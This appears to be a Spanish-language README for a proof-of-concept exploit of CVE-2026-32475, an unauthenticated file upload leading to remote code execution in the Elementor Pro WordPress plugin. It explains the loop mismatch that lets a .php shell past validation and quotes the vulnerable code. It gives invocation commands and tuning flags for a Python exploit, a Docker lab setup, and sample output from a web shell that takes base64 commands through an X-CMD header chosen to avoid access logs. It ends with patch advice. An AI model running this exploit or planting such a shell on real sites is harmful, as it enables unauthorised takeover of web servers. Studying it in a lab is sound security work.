
PoC para CVE-2026-32475: Elementor Pro <=4.2.1 carga de archivos no autenticada a RCE. Python solo con stdlib.
Prueba de concepto para CVE-2026-32475 (CVSS 9.0): una vulnerabilidad de subida de archivos arbitraria no autenticada en el plugin de WordPress Elementor Pro (≤ 4.2.1) que conduce a la ejecución remota de código.
| CVE | CVE-2026-32475 |
| CVSS | 9.0 Crítico |
| CWE | CWE-434 (Subida sin restricciones de archivos con tipo peligroso) |
| Autenticación requerida | Ninguna |
| Afectado | Elementor Pro ≤ 4.2.1 |
| Corregido | Elementor Pro 4.2.2 (2026-08-19) |
| Reportado por | Tin Pham (TF1T), vía Patchstack Bug Bounty Program |
Visitante no autenticado
│
▼
Página de formulario de Elementor (campo de subida de archivos)
│
▼
POST multipart/form-data → admin-ajax.php
│
├── parte #1: archivo vacío
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── la validación se DETIENE aquí
│
└── parte #2: shell.php
└─► nunca se comprueba el tipo
│
▼
process_field(): continue → mueve el payload .php de todos modos
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
GET a esa URL ⇒ RCE
El módulo de formularios procesa cada entrada subida en dos pasadas separadas con semánticas de bucle diferentes:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ omite solo esta entrada
return move_uploaded_file(...) ◄─ mueve el resto
validation() se aborta en la primera entrada cuyo error es UPLOAD_ERR_NO_FILE, por lo que la entrada .php que le sigue nunca se comprueba en cuanto a tipo. process_field() simplemente omite esa entrada vacía y aun así mueve cada una de las siguientes al directorio público de subidas. El validador informa del fallo mientras el movedor continúa — la desincronización entre los dos bucles es la vulnerabilidad.
Código vulnerable (modules/forms/fields/upload.php, ≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← aborta todo el bucle
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← solo omite esta entrada
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // la extensión controlada por el atacante sobrevive
move_uploaded_file( $file['tmp_name'], $new_file );
La corrección en 4.2.2 hace que los dos bucles coincidan — la entrada vacía ya no termina la validación antes de tiempo, por lo que la entrada .php se comprueba en cuanto a tipo y se rechaza.
post_id, form_id y el id del campo de subida.admin-ajax.php
(action=elementor_pro_forms_send_form).<uniqid> predecible
(consulta analysis.md para el mapeo completo de uniqid → nombre de archivo).El shell lee su comando de una cabecera de solicitud X-CMD (decodificada en base64) en lugar de un parámetro de query-string/POST. Esto es solo para mantener el transporte del comando separado de los parámetros del formulario y fuera de las query strings típicas de los registros de acceso — no tiene relación con la vulnerabilidad en sí.
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
Solo biblioteca estándar de Python 3. Flags de ajuste:
| Flag | Valor por defecto | Significado |
|---|---|---|
--probe-seconds | 0.05 | ventana de microsegundos de uniqid a barrer (segundos) |
--step-us | 2000 | microsegundos entre sondas |
--workers | 24 | hilos de sonda concurrentes |
--field-id | auto | se establece manualmente cuando falla el descubrimiento automático del campo de subida |
Nota sobre objetivos lentos: la fase de sonda puede ser pesada para el objetivo (miles de solicitudes). En dispositivos pequeños que alojan tanto el objetivo como el atacante, el servidor web puede descartar envíos concurrentes — ejecuta con --probe-seconds 0 para demostrar solo la primitiva de subida arbitraria, luego localiza y verifica el .php descartado bajo wp-content/uploads/elementor/forms/ directamente en el objetivo.
El PoC separa dos hitos independientes:
Primitiva de subida arbitraria → PASS / FAIL
Recuperación del nombre de archivo (uniqid) → PASS / PARTIAL
Confirmación de RCE → PASS (ambos anteriores tuvieron éxito)
El código de salida 0 significa confirmación completa de RCE. El código de salida 2 significa que la primitiva de subida se demostró pero el nombre de archivo no pudo adivinarse dentro de la ventana (verifica el .php descartado bajo wp-content/uploads/elementor/forms/ manualmente).
Consulta docker-compose.yml. Pasos completos:
# 1) iniciar WordPress + MariaDB
docker compose up -d
# esperar ~30s por la BD, luego instalar WordPress
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) instalar Elementor gratuito
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) instalar Elementor Pro vulnerable (<= 4.2.1).
# Elementor Pro es un plugin de pago — coloca tu elementor-pro.zip
# obtenido legalmente (p. ej. 4.2.1) junto a docker-compose.yml primero:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) crear la página del formulario (el repositorio del PoC incluye setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) ejecutar el PoC
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
Primitiva de subida confirmada — payload descartado como <uniqid>.php:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
RCE confirmado solicitando el shell descartado:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Actualiza Elementor Pro a 4.2.2+. Hasta entonces, elimina los campos de subida de archivos de los formularios públicos o restringe el envío de formularios mediante una regla de WAF.